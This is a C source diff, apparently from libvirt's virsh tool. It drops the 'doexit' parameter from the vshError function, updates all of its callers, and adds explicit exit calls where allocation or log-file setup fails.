@@ -4901,7 +4891,7 @@ cmdVolClone(vshControl *ctl, const vshCmd *cmd)
 
     origpool = virStoragePoolLookupByVolume(origvol);
     if (!origpool) {
-        vshError(ctl, FALSE, "%s", _("failed to get parent pool"));
+        vshError(ctl, "%s", _("failed to get parent pool"));
         goto cleanup;
     }
 
@@ -4925,7 +4915,7 @@ cmdVolClone(vshControl *ctl, const vshCmd *cmd)
         vshPrint(ctl, _("Vol %s cloned from %s\n"),
                  virStorageVolGetName(newvol), virStorageVolGetName(origvol));
     } else {
-        vshError(ctl, FALSE, _("Failed to clone vol from %s"),
+        vshError(ctl, _("Failed to clone vol from %s"),
                  virStorageVolGetName(origvol));
         goto cleanup;
     }
@@ -4976,7 +4966,7 @@ cmdVolDelete(vshControl *ctl, const vshCmd *cmd)
     if (virStorageVolDelete(vol, 0) == 0) {
         vshPrint(ctl, _("Vol %s deleted\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to delete vol %s"), name);
+        vshError(ctl, _("Failed to delete vol %s"), name);
         ret = FALSE;
     }
 
@@ -5107,7 +5097,7 @@ cmdVolList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     maxactive = virStoragePoolNumOfVolumes(pool);
     if (maxactive < 0) {
         virStoragePoolFree(pool);
-        vshError(ctl, FALSE, "%s", _("Failed to list active vols"));
+        vshError(ctl, "%s", _("Failed to list active vols"));
         return FALSE;
     }
     if (maxactive) {
@@ -5115,7 +5105,7 @@ cmdVolList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
         if ((maxactive = virStoragePoolListVolumes(pool, activeNames,
                                                    maxactive)) < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list active vols"));
+            vshError(ctl, "%s", _("Failed to list active vols"));
             free(activeNames);
             virStoragePoolFree(pool);
             return FALSE;
@@ -5288,12 +5278,11 @@ cmdSecretDefine(vshControl *ctl, const vshCmd *cmd)
     free (buffer);
 
     if (res == NULL) {
-        vshError(ctl, FALSE, _("Failed to set attributes from %s"), from);
+        vshError(ctl, _("Failed to set attributes from %s"), from);
         return FALSE;
     }
     if (virSecretGetUUIDString(res, &(uuid[0])) < 0) {
-        vshError(ctl, FALSE, "%s",
-                 _("Failed to get UUID of created secret"));
+        vshError(ctl, "%s", _("Failed to get UUID of created secret"));
         virSecretFree(res);
         return FALSE;
     }
@@ -5377,11 +5366,11 @@ cmdSecretSetValue(vshControl *ctl, const vshCmd *cmd)
         goto cleanup;
 
     if (!base64_decode_alloc(base64, strlen(base64), &value, &value_size)) {
-        vshError(ctl, FALSE, _("Invalid base64 data"));
+        vshError(ctl, _("Invalid base64 data"));
         goto cleanup;
     }
     if (value == NULL) {
-        vshError(ctl, FALSE, "%s", _("Failed to allocate memory"));
+        vshError(ctl, "%s", _("Failed to allocate memory"));
         return FALSE;
     }
 
@@ -5390,7 +5379,7 @@ cmdSecretSetValue(vshControl *ctl, const vshCmd *cmd)
     free (value);
 
     if (res != 0) {
-        vshError(ctl, FALSE, "%s", _("Failed to set secret value"));
+        vshError(ctl, "%s", _("Failed to set secret value"));
         goto cleanup;
     }
     vshPrint(ctl, "%s", _("Secret value set\n"));
@@ -5440,7 +5429,7 @@ cmdSecretGetValue(vshControl *ctl, const vshCmd *cmd)
     free(value);
 
     if (base64 == NULL) {
-        vshError(ctl, FALSE, "%s", _("Failed to allocate memory"));
+        vshError(ctl, "%s", _("Failed to allocate memory"));
         goto cleanup;
     }
     printf("%s", base64);
@@ -5482,7 +5471,7 @@ cmdSecretUndefine(vshControl *ctl, const vshCmd *cmd)
         return FALSE;
 
     if (virSecretUndefine(secret) < 0) {
-        vshError(ctl, FALSE, _("Failed to delete secret %s"), uuid);
+        vshError(ctl, _("Failed to delete secret %s"), uuid);
         goto cleanup;
     }
     vshPrint(ctl, _("Secret %s deleted\n"), uuid);
@@ -5513,14 +5502,14 @@ cmdSecretList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
     maxuuids = virConnectNumOfSecrets(ctl->conn);
     if (maxuuids < 0) {
-        vshError(ctl, FALSE, "%s", _("Failed to list secrets"));
+        vshError(ctl, "%s", _("Failed to list secrets"));
         return FALSE;
     }
     uuids = vshMalloc(ctl, sizeof(*uuids) * maxuuids);
 
     maxuuids = virConnectListSecrets(ctl->conn, uuids, maxuuids);
     if (maxuuids < 0) {
-        vshError(ctl, FALSE, "%s", _("Failed to list secrets"));
+        vshError(ctl, "%s", _("Failed to list secrets"));
         free(uuids);
         return FALSE;
     }
@@ -5589,7 +5578,7 @@ cmdVersion(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
     hvType = virConnectGetType(ctl->conn);
     if (hvType == NULL) {
-        vshError(ctl, FALSE, "%s", _("failed to get hypervisor type"));
+        vshError(ctl, "%s", _("failed to get hypervisor type"));
         return FALSE;
     }
 
@@ -5603,7 +5592,7 @@ cmdVersion(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
     ret = virGetVersion(&libVersion, hvType, &apiVersion);
     if (ret < 0) {
-        vshError(ctl, FALSE, "%s", _("failed to get the library version"));
+        vshError(ctl, "%s", _("failed to get the library version"));
         return FALSE;
     }
     major = libVersion / 1000000;
@@ -5622,7 +5611,7 @@ cmdVersion(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
     ret = virConnectGetVersion(ctl->conn, &hvVersion);
     if (ret < 0) {
-        vshError(ctl, FALSE, "%s", _("failed to get the hypervisor version"));
+        vshError(ctl, "%s", _("failed to get the hypervisor version"));
         return FALSE;
     }
     if (hvVersion == 0) {
@@ -5752,7 +5741,7 @@ cmdNodeListDevices (vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
     num_devices = virNodeNumOfDevices(ctl->conn, cap, 0);
     if (num_devices < 0) {
-        vshError(ctl, FALSE, "%s", _("Failed to count node devices"));
+        vshError(ctl, "%s", _("Failed to count node devices"));
         return FALSE;
     } else if (num_devices == 0) {
         return TRUE;
@@ -5762,7 +5751,7 @@ cmdNodeListDevices (vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     num_devices =
         virNodeListDevices(ctl->conn, cap, devices, num_devices, 0);
     if (num_devices < 0) {
-        vshError(ctl, FALSE, "%s", _("Failed to list node devices"));
+        vshError(ctl, "%s", _("Failed to list node devices"));
         free(devices);
         return FALSE;
     }
@@ -5835,7 +5824,7 @@ cmdNodeDeviceDumpXML (vshControl *ctl, const vshCmd *cmd)
     if (!(name = vshCommandOptString(cmd, "device", NULL)))
         return FALSE;
     if (!(device = virNodeDeviceLookupByName(ctl->conn, name))) {
-        vshError(ctl, FALSE, "%s '%s'", _("Could not find matching device"), name);
+        vshError(ctl, "%s '%s'", _("Could not find matching device"), name);
         return FALSE;
     }
 
@@ -5878,14 +5867,14 @@ cmdNodeDeviceDettach (vshControl *ctl, const vshCmd *cmd)
     if (!(name = vshCommandOptString(cmd, "device", NULL)))
         return FALSE;
     if (!(device = virNodeDeviceLookupByName(ctl->conn, name))) {
-        vshError(ctl, FALSE, "%s '%s'", _("Could not find matching device"), name);
+        vshError(ctl, "%s '%s'", _("Could not find matching device"), name);
         return FALSE;
     }
 
     if (virNodeDeviceDettach(device) == 0) {
         vshPrint(ctl, _("Device %s dettached\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to dettach device %s"), name);
+        vshError(ctl, _("Failed to dettach device %s"), name);
         ret = FALSE;
     }
     virNodeDeviceFree(device);
@@ -5919,14 +5908,14 @@ cmdNodeDeviceReAttach (vshControl *ctl, const vshCmd *cmd)
     if (!(name = vshCommandOptString(cmd, "device", NULL)))
         return FALSE;
     if (!(device = virNodeDeviceLookupByName(ctl->conn, name))) {
-        vshError(ctl, FALSE, "%s '%s'", _("Could not find matching device"), name);
+        vshError(ctl, "%s '%s'", _("Could not find matching device"), name);
         return FALSE;
     }
 
     if (virNodeDeviceReAttach(device) == 0) {
         vshPrint(ctl, _("Device %s re-attached\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to re-attach device %s"), name);
+        vshError(ctl, _("Failed to re-attach device %s"), name);
         ret = FALSE;
     }
     virNodeDeviceFree(device);
@@ -5960,14 +5949,14 @@ cmdNodeDeviceReset (vshControl *ctl, const vshCmd *cmd)
     if (!(name = vshCommandOptString(cmd, "device", NULL)))
         return FALSE;
     if (!(device = virNodeDeviceLookupByName(ctl->conn, name))) {
-        vshError(ctl, FALSE, "%s '%s'", _("Could not find matching device"), name);
+        vshError(ctl, "%s '%s'", _("Could not find matching device"), name);
         return FALSE;
     }
 
     if (virNodeDeviceReset(device) == 0) {
         vshPrint(ctl, _("Device %s reset\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to reset device %s"), name);
+        vshError(ctl, _("Failed to reset device %s"), name);
         ret = FALSE;
     }
     virNodeDeviceFree(device);
@@ -5993,7 +5982,7 @@ cmdHostname (vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
     hostname = virConnectGetHostname (ctl->conn);
     if (hostname == NULL) {
-        vshError(ctl, FALSE, "%s", _("failed to get hostname"));
+        vshError(ctl, "%s", _("failed to get hostname"));
         return FALSE;
     }
 
@@ -6022,7 +6011,7 @@ cmdURI (vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
 
     uri = virConnectGetURI (ctl->conn);
     if (uri == NULL) {
-        vshError(ctl, FALSE, "%s", _("failed to get URI"));
+        vshError(ctl, "%s", _("failed to get URI"));
         return FALSE;
     }
 
@@ -6200,7 +6189,7 @@ cmdAttachDevice(vshControl *ctl, const vshCmd *cmd)
 
     from = vshCommandOptString(cmd, "file", &found);
     if (!found) {
-        vshError(ctl, FALSE, "%s", _("attach-device: Missing <file> option"));
+        vshError(ctl, "%s", _("attach-device: Missing <file> option"));
         virDomainFree(dom);
         return FALSE;
     }
@@ -6214,7 +6203,7 @@ cmdAttachDevice(vshControl *ctl, const vshCmd *cmd)
     free (buffer);
 
     if (ret < 0) {
-        vshError(ctl, FALSE, _("Failed to attach device from %s"), from);
+        vshError(ctl, _("Failed to attach device from %s"), from);
         virDomainFree(dom);
         return FALSE;
     } else {
@@ -6258,7 +6247,7 @@ cmdDetachDevice(vshControl *ctl, const vshCmd *cmd)
 
     from = vshCommandOptString(cmd, "file", &found);
     if (!found) {
-        vshError(ctl, FALSE, "%s", _("detach-device: Missing <file> option"));
+        vshError(ctl, "%s", _("detach-device: Missing <file> option"));
         virDomainFree(dom);
         return FALSE;
     }
@@ -6272,7 +6261,7 @@ cmdDetachDevice(vshControl *ctl, const vshCmd *cmd)
     free (buffer);
 
     if (ret < 0) {
-        vshError(ctl, FALSE, _("Failed to detach device from %s"), from);
+        vshError(ctl, _("Failed to detach device from %s"), from);
         virDomainFree(dom);
         return FALSE;
     } else {
@@ -6331,7 +6320,7 @@ cmdAttachInterface(vshControl *ctl, const vshCmd *cmd)
     } else if (STREQ(type, "bridge")) {
         typ = 2;
     } else {
-        vshError(ctl, FALSE, _("No support %s in command 'attach-interface'"), type);
+        vshError(ctl, _("No support %s in command 'attach-interface'"), type);
         goto cleanup;
     }
 
@@ -6450,12 +6439,12 @@ cmdDetachInterface(vshControl *ctl, const vshCmd *cmd)
                      XML_PARSE_NOWARNING);
     free(doc);
     if (!xml) {
-        vshError(ctl, FALSE, "%s", _("Failed to get interface information"));
+        vshError(ctl, "%s", _("Failed to get interface information"));
         goto cleanup;
     }
     ctxt = xmlXPathNewContext(xml);
     if (!ctxt) {
-        vshError(ctl, FALSE, "%s", _("Failed to get interface information"));
+        vshError(ctl, "%s", _("Failed to get interface information"));
         goto cleanup;
     }
 
@@ -6463,7 +6452,7 @@ cmdDetachInterface(vshControl *ctl, const vshCmd *cmd)
     obj = xmlXPathEval(BAD_CAST buf, ctxt);
     if ((obj == NULL) || (obj->type != XPATH_NODESET) ||
         (obj->nodesetval == NULL) || (obj->nodesetval->nodeNr == 0)) {
-        vshError(ctl, FALSE, _("No found interface whose type is %s"), type);
+        vshError(ctl, _("No found interface whose type is %s"), type);
         goto cleanup;
     }
 
@@ -6485,18 +6474,18 @@ cmdDetachInterface(vshControl *ctl, const vshCmd *cmd)
             cur = cur->next;
         }
     }
-    vshError(ctl, FALSE, _("No found interface whose MAC address is %s"), mac);
+    vshError(ctl, _("No found interface whose MAC address is %s"), mac);
     goto cleanup;
 
  hit:
     xml_buf = xmlBufferCreate();
     if (!xml_buf) {
-        vshError(ctl, FALSE, "%s", _("Failed to allocate memory"));
+        vshError(ctl, "%s", _("Failed to allocate memory"));
         goto cleanup;
     }
 
     if(xmlNodeDump(xml_buf, xml, obj->nodesetval->nodeTab[i], 0, 0) < 0){
-        vshError(ctl, FALSE, "%s", _("Failed to create XML"));
+        vshError(ctl, "%s", _("Failed to create XML"));
         goto cleanup;
     }
 
@@ -6569,14 +6558,14 @@ cmdAttachDisk(vshControl *ctl, const vshCmd *cmd)
         if (STREQ(driver, "file") || STREQ(driver, "tap")) {
             isFile = 1;
         } else if (STRNEQ(driver, "phy")) {
-            vshError(ctl, FALSE, _("No support %s in command 'attach-disk'"), driver);
+            vshError(ctl, _("No support %s in command 'attach-disk'"), driver);
             goto cleanup;
         }
     }
 
     if (mode) {
         if (STRNEQ(mode, "readonly") && STRNEQ(mode, "shareable")) {
-            vshError(ctl, FALSE, _("No support %s in command 'attach-disk'"), mode);
+            vshError(ctl, _("No support %s in command 'attach-disk'"), mode);
             goto cleanup;
         }
     }
@@ -6723,19 +6712,19 @@ cmdDetachDisk(vshControl *ctl, const vshCmd *cmd)
                      XML_PARSE_NOWARNING);
     free(doc);
     if (!xml) {
-        vshError(ctl, FALSE, "%s", _("Failed to get disk information"));
+        vshError(ctl, "%s", _("Failed to get disk information"));
         goto cleanup;
     }
     ctxt = xmlXPathNewContext(xml);
     if (!ctxt) {
-        vshError(ctl, FALSE, "%s", _("Failed to get disk information"));
+        vshError(ctl, "%s", _("Failed to get disk information"));
         goto cleanup;
     }
 
     obj = xmlXPathEval(BAD_CAST "/domain/devices/disk", ctxt);
     if ((obj == NULL) || (obj->type != XPATH_NODESET) ||
         (obj->nodesetval == NULL) || (obj->nodesetval->nodeNr == 0)) {
-        vshError(ctl, FALSE, "%s", _("Failed to get disk information"));
+        vshError(ctl, "%s", _("Failed to get disk information"));
         goto cleanup;
     }
 
@@ -6754,18 +6743,18 @@ cmdDetachDisk(vshControl *ctl, const vshCmd *cmd)
             cur = cur->next;
         }
     }
-    vshError(ctl, FALSE, _("No found disk whose target is %s"), target);
+    vshError(ctl, _("No found disk whose target is %s"), target);
     goto cleanup;
 
  hit:
     xml_buf = xmlBufferCreate();
     if (!xml_buf) {
-        vshError(ctl, FALSE, "%s", _("Failed to allocate memory"));
+        vshError(ctl, "%s", _("Failed to allocate memory"));
         goto cleanup;
     }
 
     if(xmlNodeDump(xml_buf, xml, obj->nodesetval->nodeTab[i], 0, 0) < 0){
-        vshError(ctl, FALSE, "%s", _("Failed to create XML"));
+        vshError(ctl, "%s", _("Failed to create XML"));
         goto cleanup;
     }
 
@@ -6799,9 +6788,8 @@ editWriteToTempFile (vshControl *ctl, const char *doc)
 
     ret = malloc (PATH_MAX);
     if (!ret) {
-        vshError(ctl, FALSE,
-                 _("malloc: failed to allocate temporary file name: %s"),
-                 strerror (errno));
+        vshError(ctl, _("malloc: failed to allocate temporary file name: %s"),
+                 strerror(errno));
         return NULL;
     }
 
@@ -6810,25 +6798,22 @@ editWriteToTempFile (vshControl *ctl, const char *doc)
     snprintf (ret, PATH_MAX, "%s/virshXXXXXX", tmpdir);
     fd = mkstemp (ret);
     if (fd == -1) {
-        vshError(ctl, FALSE,
-                 _("mkstemp: failed to create temporary file: %s"),
-                 strerror (errno));
+        vshError(ctl, _("mkstemp: failed to create temporary file: %s"),
+                 strerror(errno));
         return NULL;
     }
 
     if (safewrite (fd, doc, strlen (doc)) == -1) {
-        vshError(ctl, FALSE,
-                 _("write: %s: failed to write to temporary file: %s"),
-                 ret, strerror (errno));
+        vshError(ctl, _("write: %s: failed to write to temporary file: %s"),
+                 ret, strerror(errno));
         close (fd);
         unlink (ret);
         free (ret);
         return NULL;
     }
     if (close (fd) == -1) {
-        vshError(ctl, FALSE,
-                 _("close: %s: failed to write or close temporary file: %s"),
-                 ret, strerror (errno));
+        vshError(ctl, _("close: %s: failed to write or close temporary file: %s"),
+                 ret, strerror(errno));
         unlink (ret);
         free (ret);
         return NULL;
@@ -6856,35 +6841,37 @@ editFile (vshControl *ctl, const char *filename)
      * it does, refuse to run.
      */
     if (strspn (editor, ACCEPTED_CHARS) != strlen (editor)) {
-        vshError(ctl, FALSE,
-                 _("%s: $EDITOR environment variable contains shell meta or other unacceptable characters"),
+        vshError(ctl,
+                 _("%s: $EDITOR environment variable contains shell meta or "
+                   "other unacceptable characters"),
                  editor);
         return -1;
     }
     /* Same for the filename. */
     if (strspn (filename, ACCEPTED_CHARS) != strlen (filename)) {
-        vshError(ctl, FALSE,
-                 _("%s: temporary filename contains shell meta or other unacceptable characters (is $TMPDIR wrong?)"),
+        vshError(ctl,
+                 _("%s: temporary filename contains shell meta or other "
+                   "unacceptable characters (is $TMPDIR wrong?)"),
                  filename);
         return -1;
     }
 
     if (virAsprintf(&command, "%s %s", editor, filename) == -1) {
-        vshError(ctl, FALSE,
+        vshError(ctl,
                  _("virAsprintf: could not create editing command: %s"),
-                 strerror (errno));
+                 strerror(errno));
         return -1;
     }
 
     command_ret = system (command);
     if (command_ret == -1) {
-        vshError(ctl, FALSE,
-                 _("%s: edit command failed: %s"), command, strerror (errno));
+        vshError(ctl,
+                 _("%s: edit command failed: %s"), command, strerror(errno));
         free (command);
         return -1;
     }
     if (command_ret != WEXITSTATUS (0)) {
-        vshError(ctl, FALSE,
+        vshError(ctl,
                  _("%s: command exited with non-zero status"), command);
         free (command);
         return -1;
@@ -6899,9 +6886,9 @@ editReadBackFile (vshControl *ctl, const char *filename)
     char *ret;
 
     if (virFileReadAll (filename, VIRSH_MAX_XML_FILE, &ret) == -1) {
-        vshError(ctl, FALSE,
+        vshError(ctl,
                  _("%s: failed to read temporary file: %s"),
-                 filename, strerror (errno));
+                 filename, strerror(errno));
         return NULL;
     }
     return ret;
@@ -6930,8 +6917,7 @@ cmdCd(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     int found;
 
     if (!ctl->imode) {
-        vshError(ctl, FALSE, "%s",
-                 _("cd: command valid only in interactive mode"));
+        vshError(ctl, "%s", _("cd: command valid only in interactive mode"));
         return -1;
     }
 
@@ -6944,7 +6930,7 @@ cmdCd(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
         dir = "/";
 
     if (chdir (dir) == -1) {
-        vshError(ctl, FALSE, _("cd: %s: %s"), strerror (errno), dir);
+        vshError(ctl, _("cd: %s: %s"), strerror(errno), dir);
         return -1;
     }
 
@@ -6982,7 +6968,8 @@ cmdPwd(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     }
 
     if (err)
-        vshError(ctl, FALSE, _("pwd: cannot get current directory: %s"), strerror (errno));
+        vshError(ctl, _("pwd: cannot get current directory: %s"),
+                 strerror(errno));
     else
         vshPrint (ctl, _("%s\n"), cwd);
 
@@ -7062,8 +7049,8 @@ cmdEdit (vshControl *ctl, const vshCmd *cmd)
         goto cleanup;
 
     if (STRNEQ (doc, doc_reread)) {
-        vshError (ctl, FALSE,
-                  "%s", _("ERROR: the XML configuration was changed by another user"));
+        vshError(ctl,
+                 "%s", _("ERROR: the XML configuration was changed by another user"));
         goto cleanup;
     }
 
@@ -7348,7 +7335,7 @@ vshCommandCheckOpts(vshControl *ctl, const vshCmd *cmd)
                 o = o->next;
             }
             if (!ok) {
-                vshError(ctl, FALSE,
+                vshError(ctl,
                          d->type == VSH_OT_DATA ?
                          _("command '%s' requires <%s> option") :
                          _("command '%s' requires --%s option"),
@@ -7378,7 +7365,7 @@ vshCmddefHelp(vshControl *ctl, const char *cmdname)
     const vshCmdDef *def = vshCmddefSearch(cmdname);
 
     if (!def) {
-        vshError(ctl, FALSE, _("command '%s' doesn't exist"), cmdname);
+        vshError(ctl, _("command '%s' doesn't exist"), cmdname);
         return FALSE;
     } else {
         const char *desc = N_(vshCmddefGetInfo(def, "desc"));
@@ -7577,8 +7564,7 @@ cmd_has_option (vshControl *ctl, const vshCmd *cmd, const char *optname)
     }
 
     if (!found)
-        vshError(ctl, FALSE,
-                 _("internal error: virsh %s: no %s VSH_OT_DATA option"),
+        vshError(ctl, _("internal error: virsh %s: no %s VSH_OT_DATA option"),
                  cmd->def->name, optname);
     return found;
 }
@@ -7595,7 +7581,7 @@ vshCommandOptDomainBy(vshControl *ctl, const vshCmd *cmd,
         return NULL;
 
     if (!(n = vshCommandOptString(cmd, optname, NULL))) {
-        vshError(ctl, FALSE, "%s", _("undefined domain name or id"));
+        vshError(ctl, "%s", _("undefined domain name or id"));
         return NULL;
     }
 
@@ -7627,7 +7613,7 @@ vshCommandOptDomainBy(vshControl *ctl, const vshCmd *cmd,
     }
 
     if (!dom)
-        vshError(ctl, FALSE, _("failed to get domain '%s'"), n);
+        vshError(ctl, _("failed to get domain '%s'"), n);
 
     return dom;
 }
@@ -7643,7 +7629,7 @@ vshCommandOptNetworkBy(vshControl *ctl, const vshCmd *cmd,
         return NULL;
 
     if (!(n = vshCommandOptString(cmd, optname, NULL))) {
-        vshError(ctl, FALSE, "%s", _("undefined network name"));
+        vshError(ctl, "%s", _("undefined network name"));
         return NULL;
     }
 
@@ -7667,7 +7653,7 @@ vshCommandOptNetworkBy(vshControl *ctl, const vshCmd *cmd,
     }
 
     if (!network)
-        vshError(ctl, FALSE, _("failed to get network '%s'"), n);
+        vshError(ctl, _("failed to get network '%s'"), n);
 
     return network;
 }
@@ -7683,7 +7669,7 @@ vshCommandOptInterfaceBy(vshControl *ctl, const vshCmd *cmd,
         return NULL;
 
     if (!(n = vshCommandOptString(cmd, optname, NULL))) {
-        vshError(ctl, FALSE, "%s", _("undefined interface identifier"));
+        vshError(ctl, "%s", _("undefined interface identifier"));
         return NULL;
     }
 
@@ -7707,7 +7693,7 @@ vshCommandOptInterfaceBy(vshControl *ctl, const vshCmd *cmd,
     }
 
     if (!iface)
-        vshError(ctl, FALSE, _("failed to get interface '%s'"), n);
+        vshError(ctl, _("failed to get interface '%s'"), n);
 
     return iface;
 }
@@ -7720,7 +7706,7 @@ vshCommandOptPoolBy(vshControl *ctl, const vshCmd *cmd, const char *optname,
     char *n;
 
     if (!(n = vshCommandOptString(cmd, optname, NULL))) {
-        vshError(ctl, FALSE, "%s", _("undefined pool name"));
+        vshError(ctl, "%s", _("undefined pool name"));
         return NULL;
     }
 
@@ -7744,7 +7730,7 @@ vshCommandOptPoolBy(vshControl *ctl, const vshCmd *cmd, const char *optname,
     }
 
     if (!pool)
-        vshError(ctl, FALSE, _("failed to get pool '%s'"), n);
+        vshError(ctl, _("failed to get pool '%s'"), n);
 
     return pool;
 }
@@ -7761,12 +7747,12 @@ vshCommandOptVolBy(vshControl *ctl, const vshCmd *cmd,
     int found;
 
     if (!(n = vshCommandOptString(cmd, optname, NULL))) {
-        vshError(ctl, FALSE, "%s", _("undefined vol name"));
+        vshError(ctl, "%s", _("undefined vol name"));
         return NULL;
     }
 
     if (!(p = vshCommandOptString(cmd, pooloptname, &found)) && found) {
-        vshError(ctl, FALSE, "%s", _("undefined pool name"));
+        vshError(ctl, "%s", _("undefined pool name"));
         return NULL;
     }
 
@@ -7797,7 +7783,7 @@ vshCommandOptVolBy(vshControl *ctl, const vshCmd *cmd,
     }
 
     if (!vol)
-        vshError(ctl, FALSE, _("failed to get vol '%s'"), n);
+        vshError(ctl, _("failed to get vol '%s'"), n);
 
     if (pool)
         virStoragePoolFree(pool);
@@ -7817,7 +7803,7 @@ vshCommandOptSecret(vshControl *ctl, const vshCmd *cmd, char **name)
 
     n = vshCommandOptString(cmd, optname, NULL);
     if (n == NULL) {
-        vshError(ctl, FALSE, "%s", _("undefined secret UUID"));
+        vshError(ctl, "%s", _("undefined secret UUID"));
         return NULL;
     }
 
@@ -7829,7 +7815,7 @@ vshCommandOptSecret(vshControl *ctl, const vshCmd *cmd, char **name)
     secret = virSecretLookupByUUIDString(ctl->conn, n);
 
     if (secret == NULL)
-        vshError(ctl, FALSE, _("failed to get secret '%s'"), n);
+        vshError(ctl, _("failed to get secret '%s'"), n);
 
     return secret;
 }
@@ -7934,7 +7920,7 @@ vshCommandGetToken(vshControl *ctl, char *str, char **end, char **res)
         sz++;
     }
     if (quote) {
-        vshError(ctl, FALSE, "%s", _("missing \""));
+        vshError(ctl, "%s", _("missing \""));
         return VSH_TK_ERROR;
     }
     if (tkstr == NULL || *tkstr == '\0' || p == NULL)
@@ -7994,19 +7980,19 @@ vshCommandParse(vshControl *ctl, char *cmdstr)
             if (cmd == NULL) {
                 /* first token must be command name */
                 if (tk != VSH_TK_DATA) {
-                    vshError(ctl, FALSE,
+                    vshError(ctl,
                              _("unexpected token (command name): '%s'"),
                              tkdata);
                     goto syntaxError;
                 }
                 if (!(cmd = vshCmddefSearch(tkdata))) {
-                    vshError(ctl, FALSE, _("unknown command: '%s'"), tkdata);
+                    vshError(ctl, _("unknown command: '%s'"), tkdata);
                     goto syntaxError;   /* ... or ignore this command only? */
                 }
                 free(tkdata);
             } else if (tk == VSH_TK_OPTION) {
                 if (!(opt = vshCmddefGetOption(cmd, tkdata))) {
-                    vshError(ctl, FALSE,
+                    vshError(ctl,
                              _("command '%s' doesn't support option --%s"),
                              cmd->name, tkdata);
                     goto syntaxError;
@@ -8021,7 +8007,7 @@ vshCommandParse(vshControl *ctl, char *cmdstr)
                     if (tk == VSH_TK_ERROR)
                         goto syntaxError;
                     if (tk != VSH_TK_DATA) {
-                        vshError(ctl, FALSE,
+                        vshError(ctl,
                                  _("expected syntax: --%s <%s>"),
                                  opt->name,
                                  opt->type ==
@@ -8031,7 +8017,7 @@ vshCommandParse(vshControl *ctl, char *cmdstr)
                 }
             } else if (tk == VSH_TK_DATA) {
                 if (!(opt = vshCmddefGetData(cmd, data_ct++))) {
-                    vshError(ctl, FALSE, _("unexpected data '%s'"), tkdata);
+                    vshError(ctl, _("unexpected data '%s'"), tkdata);
                     goto syntaxError;
                 }
             }
@@ -8143,7 +8129,7 @@ vshConnectionUsability(vshControl *ctl, virConnectPtr conn, int showerror)
      */
     if (!conn) {
         if (showerror)
-            vshError(ctl, FALSE, "%s", _("no valid connection"));
+            vshError(ctl, "%s", _("no valid connection"));
         return FALSE;
     }
     return TRUE;
@@ -8181,7 +8167,7 @@ vshPrintExtra(vshControl *ctl, const char *format, ...)
 
 
 static void
-vshError(vshControl *ctl, int doexit, const char *format, ...)
+vshError(vshControl *ctl, const char *format, ...)
 {
     va_list ap;
 
@@ -8189,22 +8175,13 @@ vshError(vshControl *ctl, int doexit, const char *format, ...)
     vshOutputLogFile(ctl, VSH_ERR_ERROR, format, ap);
     va_end(ap);
 
-    if (doexit)
-        fprintf(stderr, _("%s: error: "), progname);
-    else
-        fputs(_("error: "), stderr);
+    fputs(_("error: "), stderr);
 
     va_start(ap, format);
     vfprintf(stderr, format, ap);
     va_end(ap);
 
     fputc('\n', stderr);
-
-    if (doexit) {
-        if (ctl)
-            vshDeinit(ctl);
-        exit(EXIT_FAILURE);
-    }
 }
 
 static void *
@@ -8214,9 +8191,9 @@ _vshMalloc(vshControl *ctl, size_t size, const char *filename, int line)
 
     if ((x = malloc(size)))
         return x;
-    vshError(ctl, TRUE, _("%s: %d: failed to allocate %d bytes"),
+    vshError(ctl, _("%s: %d: failed to allocate %d bytes"),
              filename, line, (int) size);
-    return NULL;
+    exit(EXIT_FAILURE);
 }
 
 static void *
@@ -8226,9 +8203,9 @@ _vshCalloc(vshControl *ctl, size_t nmemb, size_t size, const char *filename, int
 
     if ((x = calloc(nmemb, size)))
         return x;
-    vshError(ctl, TRUE, _("%s: %d: failed to allocate %d bytes"),
+    vshError(ctl, _("%s: %d: failed to allocate %d bytes"),
              filename, line, (int) (size*nmemb));
-    return NULL;
+    exit(EXIT_FAILURE);
 }
 
 static void *
@@ -8239,9 +8216,9 @@ _vshRealloc(vshControl *ctl, void *ptr, size_t size, const char *filename, int l
     if ((x = realloc(ptr, size)))
         return x;
     free(ptr);
-    vshError(ctl, TRUE, _("%s: %d: failed to allocate %d bytes"),
+    vshError(ctl, _("%s: %d: failed to allocate %d bytes"),
              filename, line, (int) size);
-    return NULL;
+    exit(EXIT_FAILURE);
 }
 
 static char *
@@ -8253,9 +8230,9 @@ _vshStrdup(vshControl *ctl, const char *s, const char *filename, int line)
         return(NULL);
     if ((x = strdup(s)))
         return x;
-    vshError(ctl, TRUE, _("%s: %d: failed to allocate %lu bytes"),
+    vshError(ctl, _("%s: %d: failed to allocate %lu bytes"),
              filename, line, (unsigned long)strlen(s));
-    return NULL;
+    exit(EXIT_FAILURE);
 }
 
 /*
@@ -8283,7 +8260,7 @@ vshInit(vshControl *ctl)
      */
     if (!ctl->conn) {
         virshReportError(ctl);
-        vshError(ctl, FALSE, "%s", _("failed to connect to the hypervisor"));
+        vshError(ctl, "%s", _("failed to connect to the hypervisor"));
         return FALSE;
     }
 
@@ -8314,20 +8291,22 @@ vshOpenLogFile(vshControl *ctl)
             case ENOENT:
                 break;
             default:
-                vshError(ctl, TRUE, "%s",
+                vshError(ctl, "%s",
                          _("failed to get the log file information"));
-                break;
+                exit(EXIT_FAILURE);
         }
     } else {
         if (!S_ISREG(st.st_mode)) {
-            vshError(ctl, TRUE, "%s", _("the log path is not a file"));
+            vshError(ctl, "%s", _("the log path is not a file"));
+            exit(EXIT_FAILURE);
         }
     }
 
     /* log file open */
